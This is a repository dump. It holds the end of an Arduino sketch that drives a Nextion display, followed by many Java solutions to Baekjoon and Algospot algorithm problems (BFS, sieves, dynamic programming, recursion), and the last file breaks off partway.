Valor = analogRead(0); // Lee el canal 0
val= (Valor/4)/2.55; // Escala los valores analogicos para ajustarlos de 0 a255
Serial.print("j0.val="); // Se apunta a la variable que se modifica
Serial.print(val); // Se envía el valor del potenciometro para modificar la variable en la pantalla
Serial.write(0xff);
Serial.write(0xff);
Serial.write(0xff);
Serial.print("n0.val="); // Variable de pantalla que se va a modificar
Serial.print(val); // Envía el dato
Serial.write(0xff);
Serial.write(0xff);
Serial.write(0xff);
}
| 62b1464eb948047d855d486f5a6a887c35714477 | [
"Markdown",
"C++"
] | 2 | Markdown | firtec/Nextion_Arduino_Boton | 742916e05061ddf6d1b28ae7c2af16a7d5815310 | 83374803a5919d8b6ac8d0f5fe7d331cf226fbdc |
refs/heads/master | <repo_name>aprilgom/javaps<file_sep>/baekjoon/1931/Main.java
import java.util.*;
import java.io.*;
class Conf{
public int s,e;
public Conf(int s,int e){
this.s = s;
this.e = e;
}
}
public class Main{
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
Queue<Conf> pq = new PriorityQueue<>((a,b)->{
if(a.e == b.e){
return a.s - b.s;
}
return a.e - b.e;
});
for(int i = 0;i<N;i++){
StringTokenizer st = new StringTokenizer(br.readLine());
int s = Integer.parseInt(st.nextToken());
int e = Integer.parseInt(st.nextToken());
pq.add(new Conf(s,e));
}
int time = 0;
int ret = 0;
while(!pq.isEmpty()){
Conf cf = pq.remove();
if(time > cf.s){
continue;
}
time = cf.e;
ret++;
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/7576/Main.java
import java.util.*;
import java.io.*;
class Node{
public int x,y,level;
public Node(int X,int Y,int L){
x = X;
y = Y;
level = L;
}
}
public class Main{
static int[][] tomatoes;
static int[] dx = {-1,1,0,0};
static int[] dy = {0,0,-1,1};
static int M,N;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
M = Integer.parseInt(st.nextToken());
N = Integer.parseInt(st.nextToken());
tomatoes = new int[M][N];
for(int n = 0;n<N;n++){
st = new StringTokenizer(br.readLine());
for(int m = 0;m<M;m++){
tomatoes[m][n] = Integer.parseInt(st.nextToken());
}
}
Queue<Node> q = new ArrayDeque<>();
for(int x = 0;x<M;x++){
for(int y = 0;y<N;y++){
if(tomatoes[x][y] == 1){
q.add(new Node(x,y,0));
}
}
}
int count = 0;
while(!q.isEmpty()){
Node node = q.remove();
int tx,ty;
for(int i = 0;i<4;i++){
tx = node.x + dx[i];
ty = node.y + dy[i];
if(tx<0||ty<0||tx>=M||ty>=N){
continue;
}
if(tomatoes[tx][ty] == -1 || tomatoes[tx][ty] == 1){
continue;
}
q.add(new Node(tx,ty,node.level+1));
tomatoes[tx][ty] = 1;
count = Math.max(count,node.level+1);
}
}
for(int x = 0;x<M;x++){
for(int y = 0;y<N;y++){
if(tomatoes[x][y] == 0){
System.out.println(-1);
return;
}
}
}
System.out.println(count);
}
}
<file_sep>/baekjoon/1963/Main.java
import java.util.*;
import java.io.*;
public class Main{
static boolean[] primes;
static boolean[] visited;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int T = Integer.parseInt(br.readLine());
primes = new boolean[10000];
Arrays.fill(primes,true);
primes[0] = false;
primes[1] = false;
for(int i = 2;i<10000;i++){
if(primes[i] == false){
continue;
}
for(int j = i*2;j<10000;j+=i){
primes[j] = false;
}
}
StringTokenizer st;
for(int t = 0;t<T;t++){
visited = new boolean[10000];
st = new StringTokenizer(br.readLine());
int a = Integer.parseInt(st.nextToken());
int b = Integer.parseInt(st.nextToken());
if(a == b){
System.out.println(0);
continue;
}
int ret = -1;
Queue<Integer> q = new ArrayDeque<>();
q.add(a);
q.add(0);
visited[a] = true;
while(!q.isEmpty()&&ret == -1){
int item = q.remove();
int n = q.remove();
for(int i = 0;i<4;i++){
StringBuilder sb = new StringBuilder(String.valueOf(item));
for(int j = 0;j<=9;j++){
sb.setCharAt(i,(char)(j+'0'));
int next = Integer.parseInt(sb.toString());
if(next == a){
continue;
}
if(next<1000){
continue;
}
if(!primes[next]){
continue;
}
if(visited[next]){
continue;
}
if(next == b){
ret = n+1;
}
visited[next] = true;
q.add(next);
q.add(n+1);
}
}
}
if(ret == 0){
System.out.println("Impossible");
}else{
System.out.println(ret);
}
}
}
}
<file_sep>/algospot/WILDCARD/Main.java
import java.util.*;
import java.io.*;
public class Main{
static String pattern;
static String str;
static int[][] visited;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0; tc<TC; tc++){
pattern = br.readLine();
int N = Integer.parseInt(br.readLine());
List<String> ret = new ArrayList<>();
for(int n = 0;n<N;n++){
str = br.readLine();
visited = new int[pattern.length()+1][str.length()+1];
if(match(0,0) == 1){
ret.add(str);
}
}
Collections.sort(ret);
for(String s:ret){
System.out.println(s);
}
}
}
static int match(int p_idx,int s_idx){
if(visited[p_idx][s_idx] != 0){
return visited[p_idx][s_idx];
}
if(
p_idx < pattern.length() &&
s_idx < str.length() &&
(
pattern.charAt(p_idx) == str.charAt(s_idx) ||
pattern.charAt(p_idx) == '?'
)
){
visited[p_idx][s_idx] = match(p_idx+1,s_idx+1);
return visited[p_idx][s_idx];
}
if(p_idx == pattern.length()){
if(s_idx == str.length()){
return 1;
}else{
return -1;
}
}
if(pattern.charAt(p_idx) == '*'){
if(
match(p_idx+1,s_idx) == 1||
(s_idx<str.length() && match(p_idx,s_idx+1) == 1)
){
visited[p_idx][s_idx] = 1;
return 1;
}
}
return -1;
}
}
<file_sep>/baekjoon/1929/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
int M = Integer.parseInt(st.nextToken());
int N = Integer.parseInt(st.nextToken());
int[] prime = new int[N+1];
Arrays.fill(prime,1);
prime[0] = 0;
prime[1] = 0;
for(int i = 2;i*i<=N;i++){
if(prime[i] != 0){
for(int j = i*i;j<=N;j+=i){
prime[j] = 0;
}
}
}
for(int i = M;i<=N;i++){
if(prime[i]==1){
System.out.println(i);
}
}
}
}
<file_sep>/algospot/OCR/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int m,q,seq_n;
static Map<String,Integer> w_indexes;
static String[] idx_to_word;
static double[] B;
static double[][] T,M;
static int[] seq;
static double[][] p_map;
static int[][] max_words;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringBuilder sb = new StringBuilder();
StringTokenizer st = new StringTokenizer(br.readLine());
m = Integer.parseInt(st.nextToken());
q = Integer.parseInt(st.nextToken());
w_indexes = new HashMap<>();
idx_to_word = new String[m+1];
st = new StringTokenizer(br.readLine());
for(int i = 1;i<m+1;i++){
String s = st.nextToken();
idx_to_word[i] = s;
w_indexes.put(s,i);
}
T = new double[m+1][m+1];
for(int i = 0;i<m+1;i++){
st = new StringTokenizer(br.readLine());
for(int j = 1;j<m+1;j++){
T[i][j] = Math.log(Double.parseDouble(st.nextToken()));
}
}
M = new double[m+1][m+1];
for(int i = 1;i<m+1;i++){
st = new StringTokenizer(br.readLine());
for(int j = 1;j<m+1;j++){
M[i][j] = Math.log(Double.parseDouble(st.nextToken()));
}
}
for(int qi = 0;qi < q;qi++){
st = new StringTokenizer(br.readLine());
seq_n = Integer.parseInt(st.nextToken());
seq = new int[seq_n];
p_map = new double[seq_n][m+1];
max_words = new int[seq_n][m+1];
for(int i = 0;i<seq_n;i++){
Arrays.fill(p_map[i],1);
}
for(int i = 0;i<seq_n;i++){
String s = st.nextToken();
seq[i] = w_indexes.get(s);
}
sol(0,0);
int next = 0;
for(int i = 0;i<seq_n;i++){
next = max_words[i][next];
sb.append(idx_to_word[next])
.append(" ");
}
sb.deleteCharAt(sb.length()-1);
sb.append("\n");
}
sb.deleteCharAt(sb.length()-1);
System.out.print(sb);
}
static double sol(int idx,int word){
if(idx==seq_n){
return 0;
}
if(p_map[idx][word] != 1){
return p_map[idx][word];
}
double ret = Double.NEGATIVE_INFINITY;
for(int i = 1;i<=m;i++){
double prob = sol(idx+1,i)+ M[i][seq[idx]] + T[word][i];
if(prob > ret){
ret = prob;
max_words[idx][word] = i;
}
}
p_map[idx][word] = ret;
return ret;
}
}
<file_sep>/baekjoon/2178/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static boolean[][] searched;
static int M;
static int N;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
static void probe(){
Queue<int[]> q = new ArrayDeque<>();
q.add(new int[]{0,0,1});
while(!q.isEmpty()){
int[] node = q.remove();
int x = node[0];
int y = node[1];
int len = node[2];
if(x == M-1 && y == N-1){
System.out.println(len);
return;
}
for(int i = 0;i<4;i++){
int tx = x+dx[i];
int ty = y+dy[i];
if(tx<0||ty<0||tx>=M||ty>=N){
continue;
}
if(searched[tx][ty]||map[x][y] == 0){
continue;
}
searched[tx][ty] = true;
q.add(new int[]{tx,ty,len+1});
}
}
}
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] s = br.readLine().split(" ");
N = Integer.parseInt(s[0]);
M = Integer.parseInt(s[1]);
map = new int[M][N];
searched = new boolean[M][N];
for(int y = 0;y<N;y++){
for(int x = 0;x<M;x++){
map[x][y] = br.read() - '0';
}
br.read();
}
probe();
return;
}
}
<file_sep>/baekjoon/10828/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
Stk stk = new Stk(N);
for(int i = 0;i<N;i++){
String[] s = br.readLine().split(" ");
switch(s[0]){
case "push":
stk.push(Integer.parseInt(s[1]));
break;
case "pop":
System.out.println(stk.pop());
break;
case "size":
System.out.println(stk.size());
break;
case "empty":
System.out.println(stk.empty());
break;
case "top":
System.out.println(stk.top());
break;
}
}
}
}
class Stk{
int[] data;
int top = -1;
public Stk(int n){
data = new int[n];
}
public void push(int i){
top++;
data[top] = i;
}
public int pop(){
if(top == -1)return -1;
return data[top--];
}
public int size(){
return top+1;
}
public int empty(){
if(top == -1){
return 1;
}
return 0;
}
public int top(){
if(top==-1)return -1;
return data[top];
}
}
<file_sep>/baekjoon/2875/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
int N = Integer.parseInt(st.nextToken());
int M = Integer.parseInt(st.nextToken());
int K = Integer.parseInt(st.nextToken());
int ret = 0;
while(N-2>=0 && M-1>=0 && K <= N+M-3){
N-=2;
M-=1;
ret++;
}
System.out.println(ret);
}
}
<file_sep>/algospot/JUMPGAME/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int n;
static int[][] map;
static boolean[][] visited;
static int[] dx = {1,0};
static int[] dy = {0,1};
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0;tc<TC;tc++){
n = Integer.parseInt(br.readLine());
map = new int[n][n];
visited = new boolean[n][n];
for(int i = 0;i<n;i++){
StringTokenizer st = new StringTokenizer(br.readLine());
for(int j = 0;j<n;j++){
map[i][j] = Integer.parseInt(st.nextToken());
}
}
if(jump()){
System.out.println("YES");
}else{
System.out.println("NO");
}
}
}
static boolean jump(){
Queue<Integer> q = new ArrayDeque<>();
q.add(0);
q.add(0);
visited[0][0] = true;
boolean ret = false;
while(!q.isEmpty()){
int y = q.remove();
int x = q.remove();
int d = map[y][x];
for(int i = 0;i<2;i++){
int ty = y + dy[i]*d;
int tx = x + dx[i]*d;
if(ty<0 || ty>=n || tx<0 || tx>=n){
continue;
}
if(visited[ty][tx]){
continue;
}
if(ty == n-1 && tx == n-1){
ret = true;
break;
}
visited[ty][tx] = true;
q.add(ty);
q.add(tx);
}
}
return ret;
}
}
<file_sep>/baekjoon/2751/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(System.out));
int n = Integer.parseInt(br.readLine());
int[] sq = new int[n];
for(int i = 0;i<n;i++){
sq[i] = Integer.parseInt(br.readLine());
}
Arrays.sort(sq);
for(int i:sq){
bw.write(String.valueOf(i));
bw.newLine();
}
bw.flush();
bw.close();
}
}
<file_sep>/baekjoon/2448/Main.java
import java.util.*;
import java.io.*;
public class Main{
static StringBuilder sb;
static int[][] image;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
int width = 2*N-1;
sb = new StringBuilder();
image = new int[width][N];
mark(0,0,N);
for(int y = 0;y<N;y++){
for(int x = 0;x<width;x++){
if(image[x][y] == 1){
sb.append('*');
}else{
sb.append(' ');
}
}
sb.append('\n');
}
System.out.println(sb);
}
static void mark(int x_b,int y_b,int n){
if(n == 3){
image[x_b+2][y_b] = 1;
image[x_b+1][y_b+1] = 1;
image[x_b+3][y_b+1] = 1;
image[x_b][y_b+2] = 1;
image[x_b+1][y_b+2] = 1;
image[x_b+2][y_b+2] = 1;
image[x_b+3][y_b+2] = 1;
image[x_b+4][y_b+2] = 1;
return;
}
mark(x_b+n/2,y_b,n/2);
mark(x_b,y_b+n/2,n/2);
mark(x_b+n,y_b+n/2,n/2);
}
}
<file_sep>/baekjoon/2251/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[] lim;
static int[] cup;
static boolean[][][] visited;
static TreeSet<Integer> ret;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
cup = new int[3];
lim = new int[3];
ret = new TreeSet<>();
lim[0] = Integer.parseInt(st.nextToken());
lim[1] = Integer.parseInt(st.nextToken());
lim[2] = Integer.parseInt(st.nextToken());
visited = new boolean[lim[0]+1][lim[1]+1][lim[2]+1];
cup[2] = lim[2];
sol();
StringBuilder sb = new StringBuilder();
for(int i:ret){
sb.append(i).append(" ");
}
System.out.println(sb);
}
static void sol(){
for(int from = 0;from<=2;from++){
for(int to = 0;to<=2;to++){
int[] tmp = cup.clone();
pour(from,to);
if(visited[cup[0]][cup[1]][cup[2]]){
cup = tmp;
continue;
}
visited[cup[0]][cup[1]][cup[2]] = true;
if(cup[0] == 0){
ret.add(cup[2]);
}
sol();
cup = tmp;
}
}
}
static void pour(int from,int to){
if(from == to){
return;
}
if(cup[from] == 0 || cup[to] == lim[to])return;
int to_capa = lim[to] - cup[to];//옮길 컵의 남은 용량
if(cup[from] > to_capa){//다 부었을때 넘친다면
cup[to] = lim[to];
cup[from] -= to_capa;
}else{
cup[to] += cup[from];
cup[from] = 0;
}
}
}
<file_sep>/baekjoon/9019/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int T = Integer.parseInt(br.readLine());
for(int t = 0;t<T;t++){
StringTokenizer st = new StringTokenizer(br.readLine());
int A = Integer.parseInt(st.nextToken());
int B = Integer.parseInt(st.nextToken());
boolean[] visited = new boolean[10000];
Queue<Integer> q = new ArrayDeque<>();
Queue<String> path_q = new ArrayDeque<>();
q.add(A);
path_q.add("");
StringBuilder sb;
String ret = "";
while(!q.isEmpty()){
int item = q.remove();
String path = path_q.remove();
if(item == B){
ret = path;
break;
}
int d = D(item);
int s = S(item);
int l = L(item);
int r = R(item);
if(!visited[d]){
visited[d] = true;
q.add(d);
path_q.add(path.concat("D"));
}
if(!visited[s]){
visited[s] = true;
q.add(s);
path_q.add(path.concat("S"));
}
if(!visited[l]){
visited[l] = true;
q.add(l);
path_q.add(path.concat("L"));
}
if(!visited[r]){
visited[r] = true;
q.add(r);
path_q.add(path.concat("R"));
}
}
System.out.println(ret);
}
}
static int D(int n){
return (n<<1)%10000;
}
static int S(int n){
return n==0?9999:n-1;
}
static int L(int n){
n *= 10;
int rsn = n/10000;
n = n - rsn*10000 + rsn;
return n;
}
static int R(int n){
int lsn = n%10;
n /= 10;
n += 1000*lsn;
return n;
}
}
<file_sep>/baekjoon/4963/Main.java
import java.util.*;
import java.io.*;
class Node{
public int x,y;
public Node(int X,int Y){
x = X;
y = Y;
}
}
public class Main{
static int count;
static int W,H;
static int[][] map;
static boolean[][] searched;
static int[] dx = {-1, 0, 1,-1, 1,-1, 0, 1};
static int[] dy = {-1,-1,-1, 0, 0, 1, 1, 1};
static boolean probe(int s_x,int s_y){
if(map[s_x][s_y] == 0){
return false;
}
if(searched[s_x][s_y]){
return false;
}
Queue<Node> q = new ArrayDeque<>();
Node s_node = new Node(s_x,s_y);
searched[s_x][s_y] = true;
q.add(s_node);
while(!q.isEmpty()){
Node node = q.remove();
int tx,ty;
for(int i = 0;i<8;i++){
tx = node.x + dx[i];
ty = node.y + dy[i];
if(tx<0||ty<0||tx>=W||ty>=H){
continue;
}
if(searched[tx][ty]||map[tx][ty]==0){
continue;
}
Node tnode = new Node(tx,ty);
searched[tx][ty] = true;
q.add(tnode);
}
}
return true;
}
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st;
StringBuilder sb = new StringBuilder();
while(true){
st = new StringTokenizer(br.readLine());
W = Integer.parseInt(st.nextToken());
H = Integer.parseInt(st.nextToken());
if(W == 0 && H == 0){
break;
}
searched = new boolean[W][H];
map = new int[W][H];
for(int h = 0;h<H;h++){
st = new StringTokenizer(br.readLine());
for(int w = 0;w<W;w++){
map[w][h] = Integer.parseInt(st.nextToken());
}
}
int count = 0;
for(int x = 0;x<W;x++){
for(int y = 0;y<H;y++){
if(probe(x,y)){
count++;
}
}
}
sb.append(count).append("\n");
}
System.out.println(sb);
}
}
<file_sep>/baekjoon/11729/Main.java
import java.util.*;
import java.io.*;
public class Main{
static StringBuilder sb;
static int K;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
sb = new StringBuilder();
hanoi(1,2,3,N);
System.out.println(K);
System.out.println(sb);
}
static void hanoi(int from,int buf,int to,int n){
if(n == 1){
K++;
sb.append(from).append(" ").append(to).append("\n");
return;
}
hanoi(from,to,buf,n-1);
hanoi(from,buf,to,1);
hanoi(buf,from,to,n-1);
}
}
<file_sep>/algospot/BOGGLE/Main.java
import java.io.*;
public class Main {
static int[] dx = {0, 1, 1, 1, 0, -1, -1, -1};
static int[] dy = {-1, -1, 0, 1, 1, 1, 0, -1};
static String word;
static boolean[][][] visited;
static char[][] board = new char[5][5];
public static void main(String[] arg) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(System.out));
StringBuilder sb = new StringBuilder();
int TestCase = Integer.parseInt(br.readLine());
for(int T = 0; T < TestCase; T++) {
for(int i = 0; i < 5; i++) {
String tmp = br.readLine();
for(int j = 0; j < 5; j++) {
board[i][j] = tmp.charAt(j);
}
}
int N = Integer.parseInt(br.readLine());
for(int i = 0; i < N; i++) {
word = br.readLine();
boolean ans = dfs1();
if(ans)
sb.append(word + " ").append("YES\n");
else
sb.append(word + " " ).append("NO\n");
}
}
bw.write(String.valueOf(sb));
bw.flush();
bw.close();
br.close();
return;
}
public static boolean dfs1() {
visited = new boolean[5][5][word.length()];
for(int i = 0; i < 5; ++i) {
for(int j = 0; j < 5; ++j) {
if(dfs2(i, j, 0))
return true;
}
}
return false;
}
public static boolean dfs2(int x, int y, int depth) {
visited[x][y][depth] = true;
if(word.charAt(depth) != board[x][y])
return false;
if(depth == (word.length() - 1))
return true;
for(int i = 0; i < 8; ++i) {
int dir_x = x + dx[i];
int dir_y = y + dy[i];
if(dir_x < 0 || dir_y < 0 || dir_x >= 5 || dir_y >= 5) continue;
if(visited[dir_x][dir_y][depth + 1]) continue;
if(dfs2(dir_x, dir_y, depth + 1)) return true;
}
return false;
}
}
<file_sep>/baekjoon/1261/Main2.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
static int M;
static int N;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
M = Integer.parseInt(st.nextToken());
N = Integer.parseInt(st.nextToken());
map = new int[N][M];
for(int y = 0;y<N;y++){
for(int x = 0;x<M;x++){
map[y][x] = br.read()-'0';
}
br.read();
}
int ret = sol();
System.out.println(ret);
}
static int sol(){
int[][] visited = new int[N][M];
Deque<Integer> q = new ArrayDeque<>();
q.add(0);
q.add(0);
visited[0][0] = 1;
while(!q.isEmpty()){
int y = q.remove();
int x = q.remove();
for(int i = 0;i<4;i++){
int ty = y + dy[i];
int tx = x + dx[i];
if(tx<0 || tx>=M || ty<0 || ty>=N){
continue;
}
if(visited[ty][tx] != 0){
continue;
}
if(map[ty][tx] == 1){
visited[ty][tx] = visited[y][x]+1;
q.addLast(ty);
q.addLast(tx);
continue;
}
visited[ty][tx] = visited[y][x];
q.addFirst(tx);
q.addFirst(ty);
}
}
return visited[N-1][M-1]-1;
}
}
<file_sep>/baekjoon/2143/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int T = Integer.parseInt(br.readLine());
int n = Integer.parseInt(br.readLine());
int[] A_psum = new int[n+1];
StringTokenizer st = new StringTokenizer(br.readLine());
for(int i = 1;i<=n;i++){
int A = Integer.parseInt(st.nextToken());
A_psum[i] = A_psum[i-1]+A;
}
int m = Integer.parseInt(br.readLine());
int[] B_psum = new int[m+1];
st = new StringTokenizer(br.readLine());
for(int i = 1;i<=m;i++){
int B = Integer.parseInt(st.nextToken());
B_psum[i] = B_psum[i-1]+B;
}
List<Integer> A_psum_list = new ArrayList<>();
for(int i = 1;i<=n;i++){
for(int j = i;j<=n;j++){
int psum = A_psum[j]-A_psum[i-1];
A_psum_list.add(psum);
}
}
List<Integer> B_psum_list = new ArrayList<>();
for(int i = 1;i<=m;i++){
for(int j = i;j<=m;j++){
int psum = B_psum[j]-B_psum[i-1];
B_psum_list.add(psum);
}
}
Collections.sort(A_psum_list);
Collections.sort(B_psum_list);
int l = 0;
int r = B_psum_list.size()-1;
int sum = 0;
long ret = 0;
while(l<A_psum_list.size() && r>=0){
int lsum = A_psum_list.get(l);
int rsum = B_psum_list.get(r);
sum = lsum + rsum;
if(sum>T){
r--;
}else if(sum<T){
l++;
}else{
long lc = 0;
long rc = 0;
while(
l < A_psum_list.size()
&& A_psum_list.get(l) == lsum
){
l++;
lc++;
}
while(
r >= 0
&& B_psum_list.get(r) == rsum
){
r--;
rc++;
}
ret += lc*rc;
}
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/1451/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int N;
static int M;
static long[][] sum;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
N = Integer.parseInt(st.nextToken());
M = Integer.parseInt(st.nextToken());
sum = new long[N+1][M+1];
for(int i = 1;i<=N;i++){
for(int j = 1;j<=M;j++){
long num = br.read() - '0';
sum[i][j] = num + sum[i-1][j] + sum[i][j-1] - sum[i-1][j-1];
}
br.read();
}
long ret = 0;
for(int y = 1;y<=N-1;y++){
for(int x = 1;x<=M-1;x++){
// ㅑ
ret = Math.max(ret,sum(1,x,1,N)*sum(x+1,M,1,y)*sum(x+1,M,y+1,N));
// ㅕ
ret = Math.max(ret,sum(1,x,1,y)*sum(1,x,y+1,N)*sum(x+1,M,1,N));
// ㅛ
ret = Math.max(ret,sum(1,x,1,y)*sum(x+1,M,1,y)*sum(1,M,y+1,N));
// ㅠ
ret = Math.max(ret,sum(1,M,1,y)*sum(1,x,y+1,N)*sum(x+1,M,y+1,N));
}
}
// |||
for(int i = 1;i<=M-2;i++){
for(int j = i+1;j<=M-1;j++){
ret = Math.max(ret,sum(1,i,1,N)*sum(i+1,j,1,N)*sum(j+1,M,1,N));
}
}
// 三
for(int i = 1;i<=N-2;i++){
for(int j = i+1;j<=N-1;j++){
ret = Math.max(ret,sum(1,M,1,i)*sum(1,M,i+1,j)*sum(1,M,j+1,N));
}
}
System.out.println(ret);
}
static long sum(int l,int r,int lo,int hi){
return sum[hi][r] - sum[hi][l-1] - sum[lo-1][r] + sum[lo-1][l-1];
}
}
<file_sep>/baekjoon/1780/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static int neg_n = 0;
static int zero_n = 0;
static int pos_n = 0;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
map = new int[N][N];
for(int y = 0;y<N;y++){
StringTokenizer st = new StringTokenizer(br.readLine());
for(int x = 0;x<N;x++){
map[x][y] = Integer.parseInt(st.nextToken());
}
}
count(0,0,N);
System.out.println(neg_n);
System.out.println(zero_n);
System.out.println(pos_n);
}
static void count(int x,int y,int n){
int tmp = map[x][y];
if(checkSame(x,y,n)){
if(tmp == -1){
neg_n++;
}
if(tmp == 0){
zero_n++;
}
if(tmp == 1){
pos_n++;
}
}else{
for(int y_i = y; y_i<y+n; y_i+=n/3){
for(int x_i = x; x_i<x+n; x_i+=n/3){
count(x_i,y_i,n/3);
}
}
}
}
static boolean checkSame(int x,int y,int n){
if(n == 1){
return true;
}
int tmp = map[x][y];
for(int i = x;i<x+n;i++){
for(int j = y;j<y+n;j++){
if(map[i][j] != tmp){
return false;
}
}
}
return true;
}
}
<file_sep>/baekjoon/10799/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String s = br.readLine();
int cnt = 0;
int ans = 0;
for(int i = 0;i<s.length();i++){
if(s.charAt(i) == '('){
if(s.charAt(i+1)==')'){
ans += cnt;
}
cnt++;
}else{
cnt--;
if(s.charAt(i-1)!='('){
ans += 1;
}
}
}
System.out.println(ans);
}
}
<file_sep>/baekjoon/1697/Main.java
//dfs로 풀어보자!
//권장하지 않음.
//이런 짓을 하고 있으면 모두 미쳐버린다..!
import java.util.*;
import java.io.*;
public class Main{
static int N;
static int K;
static int lim;
static int[] dp;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
N = Integer.parseInt(st.nextToken());
K = Integer.parseInt(st.nextToken());
dp = new int[100001];
Arrays.fill(dp,Integer.MAX_VALUE);
if(K <= N){
System.out.println(N-K);
return;
}
int l = 0;
int r = 1;
lim = r;
while(!move(N,0)){
l = r;
r*=2;
lim = r;
}
while(l+1<r){
int mid = (l+r)/2;
lim = mid;
if(move(N,0)){
r = mid;
}else{
l = mid;
}
}
System.out.println(l+1);
}
static boolean move(int n,int step){
if(n == K){
return true;
}
if(step==lim){
return false;
}
if(n>100000 || n<0){
return false;
}
if(dp[n] < step){
return false;
}
dp[n] = step;
step++;
boolean ret = false;
if(n < K){
ret |= move(n*2,step);
if(ret)return ret;
ret |= move(n+1,step);
if(ret)return ret;
}
ret |= move(n-1,step);
return ret;
}
}
<file_sep>/baekjoon/1992/Main.java
import java.io.*;
import java.util.*;
public class Main{
static int[][] image;
static StringBuilder sb;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
image = new int[N][N];
StringTokenizer st;
for(int y = 0;y<N;y++){
for(int x = 0;x<N;x++){
image[x][y] = br.read()-'0';
}
br.read();
}
sb = new StringBuilder();
qtree(0,0,N);
System.out.println(sb);
}
static boolean check(int x_b,int y_b,int n){
int tmp = image[x_b][y_b];
for(int x = 0;x<n;x++){
for(int y = 0;y<n;y++){
if(image[x+x_b][y+y_b] != tmp){
return false;
}
}
}
return true;
}
static void qtree(int x_b,int y_b,int n){
int tmp = image[x_b][y_b];
if(check(x_b,y_b,n)){
sb.append(tmp);
}else{
sb.append('(');
qtree(x_b,y_b,n/2);
qtree(x_b+n/2,y_b,n/2);
qtree(x_b,y_b+n/2,n/2);
qtree(x_b+n/2,y_b+n/2,n/2);
sb.append(')');
}
}
}
<file_sep>/baekjoon/1987/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int R;
static int C;
static int[][] map;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
static boolean[] used;
static int ret = 0;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
R = Integer.parseInt(st.nextToken());
C = Integer.parseInt(st.nextToken());
used = new boolean[26];
map = new int[R][C];
for(int r = 0;r<R;r++){
for(int c = 0;c<C;c++){
map[r][c] = br.read() - 'A';
}
br.read();
}
used[map[0][0]] = true;
sol(0,0,1);
System.out.println(ret);
}
static void sol(int x,int y,int n){
ret = Math.max(ret,n);
for(int i = 0;i<4;i++){
int ty = y + dy[i];
int tx = x + dx[i];
if(tx<0 || tx>=C ||ty<0 || ty>=R){
continue;
}
if(used[map[ty][tx]]){
continue;
}
used[map[ty][tx]] = true;
sol(tx,ty,n+1);
used[map[ty][tx]] = false;
}
}
}
<file_sep>/baekjoon/10610/Main.java
import java.util.*;
import java.io.*;
public class Main{
